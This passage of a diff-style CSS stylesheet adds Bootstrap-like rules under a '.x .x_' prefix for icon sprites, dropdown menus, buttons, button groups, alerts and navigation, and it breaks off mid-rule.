+.x .x_icon-qrcode{background-position:-432px -24px} +.x .x_icon-barcode{background-position:-456px -24px} +.x .x_icon-tag{background-position:0 -48px} +.x .x_icon-tags{background-position:-25px -48px} +.x .x_icon-book{background-position:-48px -48px} +.x .x_icon-bookmark{background-position:-72px -48px} +.x .x_icon-print{background-position:-96px -48px} +.x .x_icon-camera{background-position:-120px -48px} +.x .x_icon-font{background-position:-144px -48px} +.x .x_icon-bold{background-position:-167px -48px} +.x .x_icon-italic{background-position:-192px -48px} +.x .x_icon-text-height{background-position:-216px -48px} +.x .x_icon-text-width{background-position:-240px -48px} +.x .x_icon-align-left{background-position:-264px -48px} +.x .x_icon-align-center{background-position:-288px -48px} +.x .x_icon-align-right{background-position:-312px -48px} +.x .x_icon-align-justify{background-position:-336px -48px} +.x .x_icon-list{background-position:-360px -48px} +.x .x_icon-indent-left{background-position:-384px -48px} +.x .x_icon-indent-right{background-position:-408px -48px} +.x .x_icon-facetime-video{background-position:-432px -48px} +.x .x_icon-picture{background-position:-456px -48px} +.x .x_icon-pencil{background-position:0 -72px} +.x .x_icon-map-marker{background-position:-24px -72px} +.x .x_icon-adjust{background-position:-48px -72px} +.x .x_icon-tint{background-position:-72px -72px} +.x .x_icon-edit{background-position:-96px -72px} +.x .x_icon-share{background-position:-120px -72px} +.x .x_icon-check{background-position:-144px -72px} +.x .x_icon-move{background-position:-168px -72px} +.x .x_icon-step-backward{background-position:-192px -72px} +.x .x_icon-fast-backward{background-position:-216px -72px} +.x .x_icon-backward{background-position:-240px -72px} +.x .x_icon-play{background-position:-264px -72px} +.x .x_icon-pause{background-position:-288px -72px} +.x .x_icon-stop{background-position:-312px -72px} +.x .x_icon-forward{background-position:-336px -72px} +.x .x_icon-fast-forward{background-position:-360px -72px} +.x .x_icon-step-forward{background-position:-384px -72px} +.x .x_icon-eject{background-position:-408px -72px} +.x .x_icon-chevron-left{background-position:-432px -72px} +.x .x_icon-chevron-right{background-position:-456px -72px} +.x .x_icon-plus-sign{background-position:0 -96px} +.x .x_icon-minus-sign{background-position:-24px -96px} +.x .x_icon-remove-sign{background-position:-48px -96px} +.x .x_icon-ok-sign{background-position:-72px -96px} +.x .x_icon-question-sign{background-position:-96px -96px} +.x .x_icon-info-sign{background-position:-120px -96px} +.x .x_icon-screenshot{background-position:-144px -96px} +.x .x_icon-remove-circle{background-position:-168px -96px} +.x .x_icon-ok-circle{background-position:-192px -96px} +.x .x_icon-ban-circle{background-position:-216px -96px} +.x .x_icon-arrow-left{background-position:-240px -96px} +.x .x_icon-arrow-right{background-position:-264px -96px} +.x .x_icon-arrow-up{background-position:-289px -96px} +.x .x_icon-arrow-down{background-position:-312px -96px} +.x .x_icon-share-alt{background-position:-336px -96px} +.x .x_icon-resize-full{background-position:-360px -96px} +.x .x_icon-resize-small{background-position:-384px -96px} +.x .x_icon-plus{background-position:-408px -96px} +.x .x_icon-minus{background-position:-433px -96px} +.x .x_icon-asterisk{background-position:-456px -96px} +.x .x_icon-exclamation-sign{background-position:0 -120px} +.x .x_icon-gift{background-position:-24px -120px} +.x .x_icon-leaf{background-position:-48px -120px} +.x .x_icon-fire{background-position:-72px -120px} +.x .x_icon-eye-open{background-position:-96px -120px} +.x .x_icon-eye-close{background-position:-120px -120px} +.x .x_icon-warning-sign{background-position:-144px -120px} +.x .x_icon-plane{background-position:-168px -120px} +.x .x_icon-calendar{background-position:-192px -120px} +.x .x_icon-random{width:16px;background-position:-216px -120px} +.x .x_icon-comment{background-position:-240px -120px} +.x .x_icon-magnet{background-position:-264px -120px} +.x .x_icon-chevron-up{background-position:-288px -120px} +.x .x_icon-chevron-down{background-position:-313px -119px} +.x .x_icon-retweet{background-position:-336px -120px} +.x .x_icon-shopping-cart{background-position:-360px -120px} +.x .x_icon-folder-close{background-position:-384px -120px} +.x .x_icon-folder-open{width:16px;background-position:-408px -120px} +.x .x_icon-resize-vertical{background-position:-432px -119px} +.x .x_icon-resize-horizontal{background-position:-456px -118px} +.x .x_icon-hdd{background-position:0 -144px} +.x .x_icon-bullhorn{background-position:-24px -144px} +.x .x_icon-bell{background-position:-48px -144px} +.x .x_icon-certificate{background-position:-72px -144px} +.x .x_icon-thumbs-up{background-position:-96px -144px} +.x .x_icon-thumbs-down{background-position:-120px -144px} +.x .x_icon-hand-right{background-position:-144px -144px} +.x .x_icon-hand-left{background-position:-168px -144px} +.x .x_icon-hand-up{background-position:-192px -144px} +.x .x_icon-hand-down{background-position:-216px -144px} +.x .x_icon-circle-arrow-right{background-position:-240px -144px} +.x .x_icon-circle-arrow-left{background-position:-264px -144px} +.x .x_icon-circle-arrow-up{background-position:-288px -144px} +.x .x_icon-circle-arrow-down{background-position:-312px -144px} +.x .x_icon-globe{background-position:-336px -144px} +.x .x_icon-wrench{background-position:-360px -144px} +.x .x_icon-tasks{background-position:-384px -144px} +.x .x_icon-filter{background-position:-408px -144px} +.x .x_icon-briefcase{background-position:-432px -144px} +.x .x_icon-fullscreen{background-position:-456px -144px} +.x .x_dropup, +.x .x_dropdown{position:relative} +.x .x_dropdown-toggle{*margin-bottom:-3px} +.x .x_dropdown-toggle:active, +.x .x_open .x_dropdown-toggle{outline:0} +.x .x_caret{display:inline-block;width:0;height:0;vertical-align:top;border-top:4px solid #000000;border-right:4px solid transparent;border-left:4px solid transparent;content:""} +.x .x_dropdown .x_caret{margin-top:8px;margin-left:2px} +.x .x_dropdown-menu{position:absolute;top:100%;left:0;z-index:1000;display:none;float:left;min-width:160px;padding:5px 0;margin:2px 0 0;list-style:none;background-color:#ffffff;border:1px solid #ccc;border:1px solid rgba(0, 0, 0, 0.2);*border-right-width:2px;*border-bottom-width:2px;-webkit-border-radius:6px;-moz-border-radius:6px;border-radius:6px;-webkit-box-shadow:0 5px 10px rgba(0, 0, 0, 0.2);-moz-box-shadow:0 5px 10px rgba(0, 0, 0, 0.2);box-shadow:0 5px 10px rgba(0, 0, 0, 0.2);-webkit-background-clip:padding-box;-moz-background-clip:padding;background-clip:padding-box} +.x .x_dropdown-menu.x_pull-right{right:0;left:auto} +.x .x_dropdown-menu .x_divider{*width:100%;height:1px;margin:9px 1px;*margin:-5px 0 5px;overflow:hidden;background-color:#e5e5e5;border-bottom:1px solid #ffffff} +.x .x_dropdown-menu li>a{display:block;padding:3px 20px;clear:both;font-weight:normal;line-height:20px;color:#333333;white-space:nowrap} +.x .x_dropdown-menu li>a:hover, +.x .x_dropdown-menu li>a:focus, +.x .x_dropdown-submenu:hover>a{color:#ffffff;text-decoration:none;background-color:#0081c2;background-image:-moz-linear-gradient(top, #0088cc, #0077b3);background-image:-webkit-gradient(linear, 0 0, 0 100%, from(#0088cc), to(#0077b3));background-image:-webkit-linear-gradient(top, #0088cc, #0077b3);background-image:-o-linear-gradient(top, #0088cc, #0077b3);background-image:linear-gradient(to bottom, #0088cc, #0077b3);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#0088cc', endColorstr='#0077b3', GradientType=0)} +.x .x_dropdown-menu .x_active>a, +.x .x_dropdown-menu .x_active>a:hover{color:#ffffff;text-decoration:none;background-color:#0081c2;background-image:-moz-linear-gradient(top, #0088cc, #0077b3);background-image:-webkit-gradient(linear, 0 0, 0 100%, from(#0088cc), to(#0077b3));background-image:-webkit-linear-gradient(top, #0088cc, #0077b3);background-image:-o-linear-gradient(top, #0088cc, #0077b3);background-image:linear-gradient(to bottom, #0088cc, #0077b3);background-repeat:repeat-x;outline:0;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#0088cc', endColorstr='#0077b3', GradientType=0)} +.x .x_dropdown-menu .x_disabled>a, +.x .x_dropdown-menu .x_disabled>a:hover{color:#999999} +.x .x_dropdown-menu .x_disabled>a:hover{text-decoration:none;cursor:default;background-color:transparent;background-image:none;filter:progid:DXImageTransform.Microsoft.gradient(enabled=false)} +.x .x_open{*z-index:1000} +.x .x_open>.x_dropdown-menu{display:block} +.x .x_pull-right>.x_dropdown-menu{right:0;left:auto} +.x .x_dropup .x_caret, +.x .x_navbar-fixed-bottom .x_dropdown .x_caret{border-top:0;border-bottom:4px solid #000000;content:""} +.x .x_dropup .x_dropdown-menu, +.x .x_navbar-fixed-bottom .x_dropdown .x_dropdown-menu{top:auto;bottom:100%;margin-bottom:1px} +.x_dropdown-submenu{position:relative} +.x .x_dropdown-submenu>.x_dropdown-menu{top:0;left:100%;margin-top:-6px;margin-left:-1px;-webkit-border-radius:0 6px 6px 6px;-moz-border-radius:0 6px 6px 6px;border-radius:0 6px 6px 6px} +.x .x_dropdown-submenu:hover>.x_dropdown-menu{display:block} +.x .x_dropup .x_dropdown-submenu>.x_dropdown-menu{top:auto;bottom:0;margin-top:0;margin-bottom:-2px;-webkit-border-radius:5px 5px 5px 0;-moz-border-radius:5px 5px 5px 0;border-radius:5px 5px 5px 0} +.x .x_dropdown-submenu>a:after{display:block;float:right;width:0;height:0;margin-top:5px;margin-right:-10px;border-color:transparent;border-left-color:#cccccc;border-style:solid;border-width:5px 0 5px 5px;content:" "} +.x .x_dropdown-submenu:hover>a:after{border-left-color:#ffffff} +.x .x_dropdown-submenu.x_pull-left{float:none} +.x .x_dropdown-submenu.x_pull-left>.x_dropdown-menu{left:-100%;margin-left:10px;-webkit-border-radius:6px 0 6px 6px;-moz-border-radius:6px 0 6px 6px;border-radius:6px 0 6px 6px} +.x .x_dropdown .x_dropdown-menu .x_nav-header{padding-right:20px;padding-left:20px} +.x .x_typeahead{z-index:1051;margin-top:2px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px} +.x .x_well{min-height:20px;padding:19px;margin-bottom:20px;background-color:#f5f5f5;border:1px solid #e3e3e3;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.05);-moz-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.05);box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.05)} +.x .x_well blockquote{border-color:#ddd;border-color:rgba(0, 0, 0, 0.15)} +.x .x_well-large{padding:24px;-webkit-border-radius:6px;-moz-border-radius:6px;border-radius:6px} +.x .x_well-small{padding:9px;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px} +.x .x_fade{opacity:0;-webkit-transition:opacity 0.15s linear;-moz-transition:opacity 0.15s linear;-o-transition:opacity 0.15s linear;transition:opacity 0.15s linear} +.x .x_fade.x_in{opacity:1} +.x .x_collapse{position:relative;height:0;overflow:hidden;-webkit-transition:height 0.35s ease;-moz-transition:height 0.35s ease;-o-transition:height 0.35s ease;transition:height 0.35s ease} +.x .x_collapse.x_in{height:auto} +.x .x_close{float:right;font-size:20px;font-weight:bold;line-height:20px;color:#000000;text-shadow:0 1px 0 #ffffff;opacity:0.2;filter:alpha(opacity=20)} +.x .x_close:hover{color:#000000;text-decoration:none;cursor:pointer;opacity:0.4;filter:alpha(opacity=40)} +.x button.x_close{padding:0;cursor:pointer;background:transparent;border:0;-webkit-appearance:none} +.x .x_btn{display:inline-block;*display:inline;padding:4px 12px;margin-bottom:0;*margin-left:.3em;font-size:14px;line-height:20px;color:#333333;text-align:center;text-shadow:0 1px 1px rgba(255, 255, 255, 0.75);vertical-align:middle;cursor:pointer;background-color:#f5f5f5;*background-color:#e6e6e6;background-image:-moz-linear-gradient(top, #ffffff, #e6e6e6);background-image:-webkit-gradient(linear, 0 0, 0 100%, from(#ffffff), to(#e6e6e6));background-image:-webkit-linear-gradient(top, #ffffff, #e6e6e6);background-image:-o-linear-gradient(top, #ffffff, #e6e6e6);background-image:linear-gradient(to bottom, #ffffff, #e6e6e6);background-repeat:repeat-x;border:1px solid #bbbbbb;*border:0;border-color:#e6e6e6 #e6e6e6 #bfbfbf;border-color:rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);border-bottom-color:#a2a2a2;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff', endColorstr='#e6e6e6', GradientType=0);filter:progid:DXImageTransform.Microsoft.gradient(enabled=false);*zoom:1;-webkit-box-shadow:inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.05);-moz-box-shadow:inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.05);box-shadow:inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.05)} +.x .x_btn:hover, +.x .x_btn:active, +.x .x_btn.x_active, +.x .x_btn.x_disabled, +.x .x_btn[disabled]{color:#333333;background-color:#e6e6e6;*background-color:#d9d9d9} +.x .x_btn:active, +.x .x_btn.x_active{background-color:#cccccc \9} +.x .x_btn:first-child{*margin-left:0} +.x .x_btn:hover{color:#333333;text-decoration:none;background-position:0 -15px;-webkit-transition:background-position 0.1s linear;-moz-transition:background-position 0.1s linear;-o-transition:background-position 0.1s linear;transition:background-position 0.1s linear} +.x .x_btn:focus{outline:thin dotted #333;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px} +.x .x_btn.x_active, +.x .x_btn:active{background-image:none;outline:0;-webkit-box-shadow:inset 0 2px 4px rgba(0, 0, 0, 0.15), 0 1px 2px rgba(0, 0, 0, 0.05);-moz-box-shadow:inset 0 2px 4px rgba(0, 0, 0, 0.15), 0 1px 2px rgba(0, 0, 0, 0.05);box-shadow:inset 0 2px 4px rgba(0, 0, 0, 0.15), 0 1px 2px rgba(0, 0, 0, 0.05)} +.x .x_btn.x_disabled, +.x .x_btn[disabled]{cursor:default;background-image:none;opacity:0.65;filter:alpha(opacity=65);-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none} +.x .x_btn-large{padding:11px 19px;font-size:17.5px;-webkit-border-radius:6px;-moz-border-radius:6px;border-radius:6px} +.x .x_btn-large [class^="x_icon-"], +.x .x_btn-large [class*=" x_icon-"]{margin-top:4px} +.x .x_btn-small{padding:2px 10px;font-size:11.9px;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px} +.x .x_btn-small [class^="x_icon-"], +.x .x_btn-small [class*=" x_icon-"]{margin-top:0} +.x .x_btn-mini [class^="x_icon-"], +.x .x_btn-mini [class*=" x_icon-"]{margin-top:-1px} +.x .x_btn-mini{padding:0 6px;font-size:10.5px;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px} +.x .x_btn-block{display:block;width:100%;padding-right:0;padding-left:0;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box} +.x .x_btn-block+.x_btn-block{margin-top:5px} +.x input[type="submit"].x_btn-block, +.x input[type="reset"].x_btn-block, +.x input[type="button"].x_btn-block{width:100%} +.x .x_btn-primary.x_active, +.x .x_btn-warning.x_active, +.x .x_btn-danger.x_active, +.x .x_btn-success.x_active, +.x .x_btn-info.x_active, +.x .x_btn-inverse.x_active{color:rgba(255, 255, 255, 0.75)} +.x .x_btn{border-color:#c5c5c5;border-color:rgba(0, 0, 0, 0.15) rgba(0, 0, 0, 0.15) rgba(0, 0, 0, 0.25)} +.x .x_btn-primary{color:#ffffff;text-shadow:0 -1px 0 rgba(0, 0, 0, 0.25);background-color:#006dcc;*background-color:#0044cc;background-image:-moz-linear-gradient(top, #0088cc, #0044cc);background-image:-webkit-gradient(linear, 0 0, 0 100%, from(#0088cc), to(#0044cc));background-image:-webkit-linear-gradient(top, #0088cc, #0044cc);background-image:-o-linear-gradient(top, #0088cc, #0044cc);background-image:linear-gradient(to bottom, #0088cc, #0044cc);background-repeat:repeat-x;border-color:#0044cc #0044cc #002a80;border-color:rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#0088cc', endColorstr='#0044cc', GradientType=0);filter:progid:DXImageTransform.Microsoft.gradient(enabled=false)} +.x .x_btn-primary:hover, +.x .x_btn-primary:active, +.x .x_btn-primary.x_active, +.x .x_btn-primary.x_disabled, +.x .x_btn-primary[disabled]{color:#ffffff;background-color:#0044cc;*background-color:#003bb3} +.x .x_btn-primary:active, +.x .x_btn-primary.x_active{background-color:#003399 \9} +.x .x_btn-warning{color:#ffffff;text-shadow:0 -1px 0 rgba(0, 0, 0, 0.25);background-color:#faa732;*background-color:#f89406;background-image:-moz-linear-gradient(top, #fbb450, #f89406);background-image:-webkit-gradient(linear, 0 0, 0 100%, from(#fbb450), to(#f89406));background-image:-webkit-linear-gradient(top, #fbb450, #f89406);background-image:-o-linear-gradient(top, #fbb450, #f89406);background-image:linear-gradient(to bottom, #fbb450, #f89406);background-repeat:repeat-x;border-color:#f89406 #f89406 #ad6704;border-color:rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fbb450', endColorstr='#f89406', GradientType=0);filter:progid:DXImageTransform.Microsoft.gradient(enabled=false)} +.x .x_btn-warning:hover, +.x .x_btn-warning:active, +.x .x_btn-warning.x_active, +.x .x_btn-warning.x_disabled, +.x .x_btn-warning[disabled]{color:#ffffff;background-color:#f89406;*background-color:#df8505} +.x .x_btn-warning:active, +.x .x_btn-warning.x_active{background-color:#c67605 \9} +.x .x_btn-danger{color:#ffffff;text-shadow:0 -1px 0 rgba(0, 0, 0, 0.25);background-color:#da4f49;*background-color:#bd362f;background-image:-moz-linear-gradient(top, #ee5f5b, #bd362f);background-image:-webkit-gradient(linear, 0 0, 0 100%, from(#ee5f5b), to(#bd362f));background-image:-webkit-linear-gradient(top, #ee5f5b, #bd362f);background-image:-o-linear-gradient(top, #ee5f5b, #bd362f);background-image:linear-gradient(to bottom, #ee5f5b, #bd362f);background-repeat:repeat-x;border-color:#bd362f #bd362f #802420;border-color:rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ee5f5b', endColorstr='#bd362f', GradientType=0);filter:progid:DXImageTransform.Microsoft.gradient(enabled=false)} +.x .x_btn-danger:hover, +.x .x_btn-danger:active, +.x .x_btn-danger.x_active, +.x .x_btn-danger.x_disabled, +.x .x_btn-danger[disabled]{color:#ffffff;background-color:#bd362f;*background-color:#a9302a} +.x .x_btn-danger:active, +.x .x_btn-danger.x_active{background-color:#942a25 \9} +.x .x_btn-success{color:#ffffff;text-shadow:0 -1px 0 rgba(0, 0, 0, 0.25);background-color:#5bb75b;*background-color:#51a351;background-image:-moz-linear-gradient(top, #62c462, #51a351);background-image:-webkit-gradient(linear, 0 0, 0 100%, from(#62c462), to(#51a351));background-image:-webkit-linear-gradient(top, #62c462, #51a351);background-image:-o-linear-gradient(top, #62c462, #51a351);background-image:linear-gradient(to bottom, #62c462, #51a351);background-repeat:repeat-x;border-color:#51a351 #51a351 #387038;border-color:rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#62c462', endColorstr='#51a351', GradientType=0);filter:progid:DXImageTransform.Microsoft.gradient(enabled=false)} +.x .x_btn-success:hover, +.x .x_btn-success:active, +.x .x_btn-success.x_active, +.x .x_btn-success.x_disabled, +.x .x_btn-success[disabled]{color:#ffffff;background-color:#51a351;*background-color:#499249} +.x .x_btn-success:active, +.x .x_btn-success.x_active{background-color:#408140 \9} +.x .x_btn-info{color:#ffffff;text-shadow:0 -1px 0 rgba(0, 0, 0, 0.25);background-color:#49afcd;*background-color:#2f96b4;background-image:-moz-linear-gradient(top, #5bc0de, #2f96b4);background-image:-webkit-gradient(linear, 0 0, 0 100%, from(#5bc0de), to(#2f96b4));background-image:-webkit-linear-gradient(top, #5bc0de, #2f96b4);background-image:-o-linear-gradient(top, #5bc0de, #2f96b4);background-image:linear-gradient(to bottom, #5bc0de, #2f96b4);background-repeat:repeat-x;border-color:#2f96b4 #2f96b4 #1f6377;border-color:rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#5bc0de', endColorstr='#2f96b4', GradientType=0);filter:progid:DXImageTransform.Microsoft.gradient(enabled=false)} +.x .x_btn-info:hover, +.x .x_btn-info:active, +.x .x_btn-info.x_active, +.x .x_btn-info.x_disabled, +.x .x_btn-info[disabled]{color:#ffffff;background-color:#2f96b4;*background-color:#2a85a0} +.x .x_btn-info:active, +.x .x_btn-info.x_active{background-color:#24748c \9} +.x .x_btn-inverse{color:#ffffff;text-shadow:0 -1px 0 rgba(0, 0, 0, 0.25);background-color:#363636;*background-color:#222222;background-image:-moz-linear-gradient(top, #444444, #222222);background-image:-webkit-gradient(linear, 0 0, 0 100%, from(#444444), to(#222222));background-image:-webkit-linear-gradient(top, #444444, #222222);background-image:-o-linear-gradient(top, #444444, #222222);background-image:linear-gradient(to bottom, #444444, #222222);background-repeat:repeat-x;border-color:#222222 #222222 #000000;border-color:rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#444444', endColorstr='#222222', GradientType=0);filter:progid:DXImageTransform.Microsoft.gradient(enabled=false)} +.x .x_btn-inverse:hover, +.x .x_btn-inverse:active, +.x .x_btn-inverse.x_active, +.x .x_btn-inverse.x_disabled, +.x .x_btn-inverse[disabled]{color:#ffffff;background-color:#222222;*background-color:#151515} +.x .x_btn-inverse:active, +.x .x_btn-inverse.x_active{background-color:#080808 \9} +.x button.x_btn, +.x input[type="submit"].x_btn{*padding-top:3px;*padding-bottom:3px} +.x button.x_btn::-moz-focus-inner, +.x input[type="submit"].x_btn::-moz-focus-inner{padding:0;border:0} +.x button.x_btn.x_btn-large, +.x input[type="submit"].x_btn.x_btn-large{*padding-top:7px;*padding-bottom:7px} +.x button.x_btn.x_btn-small, +.x input[type="submit"].x_btn.x_btn-small{*padding-top:3px;*padding-bottom:3px} +.x button.x_btn.x_btn-mini, +.x input[type="submit"].x_btn.x_btn-mini{*padding-top:1px;*padding-bottom:1px} +.x .x_btn-link, +.x .x_btn-link:active, +.x .x_btn-link[disabled]{background-color:transparent;background-image:none;-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none} +.x .x_btn-link{color:#0088cc;cursor:pointer;border-color:transparent;-webkit-border-radius:0;-moz-border-radius:0;border-radius:0} +.x .x_btn-link:hover{color:#005580;text-decoration:underline;background-color:transparent} +.x .x_btn-link[disabled]:hover{color:#333333;text-decoration:none} +.x .x_btn-group{position:relative;display:inline-block;*display:inline;*margin-left:.3em;font-size:0;white-space:nowrap;vertical-align:middle;*zoom:1} +.x .x_btn-group:first-child{*margin-left:0} +.x .x_btn-group+.x_btn-group{margin-left:5px} +.x .x_btn-toolbar{margin-top:10px;margin-bottom:10px;font-size:0} +.x .x_btn-toolbar>.x_btn+.x_btn, +.x .x_btn-toolbar>.x_btn-group+.x_btn, +.x .x_btn-toolbar>.x_btn+.x_btn-group{margin-left:5px} +.x .x_btn-group>.x_btn{position:relative;-webkit-border-radius:0;-moz-border-radius:0;border-radius:0} +.x .x_btn-group>.x_btn+.x_btn{margin-left:-1px} +.x .x_btn-group>.x_btn, +.x .x_btn-group>.x_dropdown-menu, +.x .x_btn-group>.x_popover{font-size:14px} +.x .x_btn-group>.x_btn-mini{font-size:10.5px} +.x .x_btn-group>.x_btn-small{font-size:11.9px} +.x .x_btn-group>.x_btn-large{font-size:17.5px} +.x .x_btn-group>.x_btn:first-child{margin-left:0;-webkit-border-bottom-left-radius:4px;border-bottom-left-radius:4px;-webkit-border-top-left-radius:4px;border-top-left-radius:4px;-moz-border-radius-bottomleft:4px;-moz-border-radius-topleft:4px} +.x .x_btn-group>.x_btn:last-child, +.x .x_btn-group>.x_dropdown-toggle{-webkit-border-top-right-radius:4px;border-top-right-radius:4px;-webkit-border-bottom-right-radius:4px;border-bottom-right-radius:4px;-moz-border-radius-topright:4px;-moz-border-radius-bottomright:4px} +.x .x_btn-group>.x_btn.x_large:first-child{margin-left:0;-webkit-border-bottom-left-radius:6px;border-bottom-left-radius:6px;-webkit-border-top-left-radius:6px;border-top-left-radius:6px;-moz-border-radius-bottomleft:6px;-moz-border-radius-topleft:6px} +.x .x_btn-group>.x_btn.x_large:last-child, +.x .x_btn-group>.x_large.x_dropdown-toggle{-webkit-border-top-right-radius:6px;border-top-right-radius:6px;-webkit-border-bottom-right-radius:6px;border-bottom-right-radius:6px;-moz-border-radius-topright:6px;-moz-border-radius-bottomright:6px} +.x .x_btn-group>.x_btn:hover, +.x .x_btn-group>.x_btn:focus, +.x .x_btn-group>.x_btn:active, +.x .x_btn-group>.x_btn.x_active{z-index:2} +.x .x_btn-group .x_dropdown-toggle:active, +.x .x_btn-group.x_open .x_dropdown-toggle{outline:0} +.x .x_btn-group>.x_btn+.x_dropdown-toggle{*padding-top:5px;padding-right:8px;*padding-bottom:5px;padding-left:8px;-webkit-box-shadow:inset 1px 0 0 rgba(255, 255, 255, 0.125), inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.05);-moz-box-shadow:inset 1px 0 0 rgba(255, 255, 255, 0.125), inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.05);box-shadow:inset 1px 0 0 rgba(255, 255, 255, 0.125), inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.05)} +.x .x_btn-group>.x_btn-mini+.x_dropdown-toggle{*padding-top:2px;padding-right:5px;*padding-bottom:2px;padding-left:5px} +.x .x_btn-group>.x_btn-small+.x_dropdown-toggle{*padding-top:5px;*padding-bottom:4px} +.x .x_btn-group>.x_btn-large+.x_dropdown-toggle{*padding-top:7px;padding-right:12px;*padding-bottom:7px;padding-left:12px} +.x .x_btn-group.x_open .x_dropdown-toggle{background-image:none;-webkit-box-shadow:inset 0 2px 4px rgba(0, 0, 0, 0.15), 0 1px 2px rgba(0, 0, 0, 0.05);-moz-box-shadow:inset 0 2px 4px rgba(0, 0, 0, 0.15), 0 1px 2px rgba(0, 0, 0, 0.05);box-shadow:inset 0 2px 4px rgba(0, 0, 0, 0.15), 0 1px 2px rgba(0, 0, 0, 0.05)} +.x .x_btn-group.x_open .x_btn.x_dropdown-toggle{background-color:#e6e6e6} +.x .x_btn-group.x_open .x_btn-primary.x_dropdown-toggle{background-color:#0044cc} +.x .x_btn-group.x_open .x_btn-warning.x_dropdown-toggle{background-color:#f89406} +.x .x_btn-group.x_open .x_btn-danger.x_dropdown-toggle{background-color:#bd362f} +.x .x_btn-group.x_open .x_btn-success.x_dropdown-toggle{background-color:#51a351} +.x .x_btn-group.x_open .x_btn-info.x_dropdown-toggle{background-color:#2f96b4} +.x .x_btn-group.x_open .x_btn-inverse.x_dropdown-toggle{background-color:#222222} +.x .x_btn .x_caret{margin-top:8px;margin-left:0} +.x .x_btn-mini .x_caret, +.x .x_btn-small .x_caret, +.x .x_btn-large .x_caret{margin-top:6px} +.x .x_btn-large .x_caret{border-top-width:5px;border-right-width:5px;border-left-width:5px} +.x .x_dropup .x_btn-large .x_caret{border-bottom-width:5px} +.x .x_btn-primary .x_caret, +.x .x_btn-warning .x_caret, +.x .x_btn-danger .x_caret, +.x .x_btn-info .x_caret, +.x .x_btn-success .x_caret, +.x .x_btn-inverse .x_caret{border-top-color:#ffffff;border-bottom-color:#ffffff} +.x .x_btn-group-vertical{display:inline-block;*display:inline; /* IE7 inline-block hack */ *zoom:1} +.x .x_btn-group-vertical>.x_btn{display:block;float:none;max-width:100%;-webkit-border-radius:0;-moz-border-radius:0;border-radius:0} +.x .x_btn-group-vertical>.x_btn+.x_btn{margin-top:-1px;margin-left:0} +.x .x_btn-group-vertical>.x_btn:first-child{-webkit-border-radius:4px 4px 0 0;-moz-border-radius:4px 4px 0 0;border-radius:4px 4px 0 0} +.x .x_btn-group-vertical>.x_btn:last-child{-webkit-border-radius:0 0 4px 4px;-moz-border-radius:0 0 4px 4px;border-radius:0 0 4px 4px} +.x .x_btn-group-vertical>.x_btn-large:first-child{-webkit-border-radius:6px 6px 0 0;-moz-border-radius:6px 6px 0 0;border-radius:6px 6px 0 0} +.x .x_btn-group-vertical>.x_btn-large:last-child{-webkit-border-radius:0 0 6px 6px;-moz-border-radius:0 0 6px 6px;border-radius:0 0 6px 6px} +.x .x_alert{padding:8px 35px 8px 14px;margin-bottom:20px;text-shadow:0 1px 0 rgba(255, 255, 255, 0.5);background-color:#fcf8e3;border:1px solid #fbeed5;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px} +.x .x_alert, +.x .x_alert h4{color:#c09853} +.x .x_alert h4{margin:0} +.x .x_alert .x_close{position:relative;top:-2px;right:-21px;line-height:20px} +.x .x_alert-success{color:#468847;background-color:#dff0d8;border-color:#d6e9c6} +.x .x_alert-success h4{color:#468847} +.x .x_alert-danger, +.x .x_alert-error{color:#b94a48;background-color:#f2dede;border-color:#eed3d7} +.x .x_alert-danger h4, +.x .x_alert-error h4{color:#b94a48} +.x .x_alert-info{color:#3a87ad;background-color:#d9edf7;border-color:#bce8f1} +.x .x_alert-info h4{color:#3a87ad} +.x .x_alert-block{padding-top:14px;padding-bottom:14px} +.x .x_alert-block>p, +.x .x_alert-block>ul{margin-bottom:0} +.x .x_alert-block p+p{margin-top:5px} +.x .x_nav{margin-bottom:20px;margin-left:0;list-style:none} +.x .x_nav>li>a{display:block} +.x .x_nav>li>a:hover{text-decoration:none;background-color:#eeeeee} +.x .x_nav>li>a>img{max-width:none} +.x .x_nav>.x_pull-right{float:right} +.x 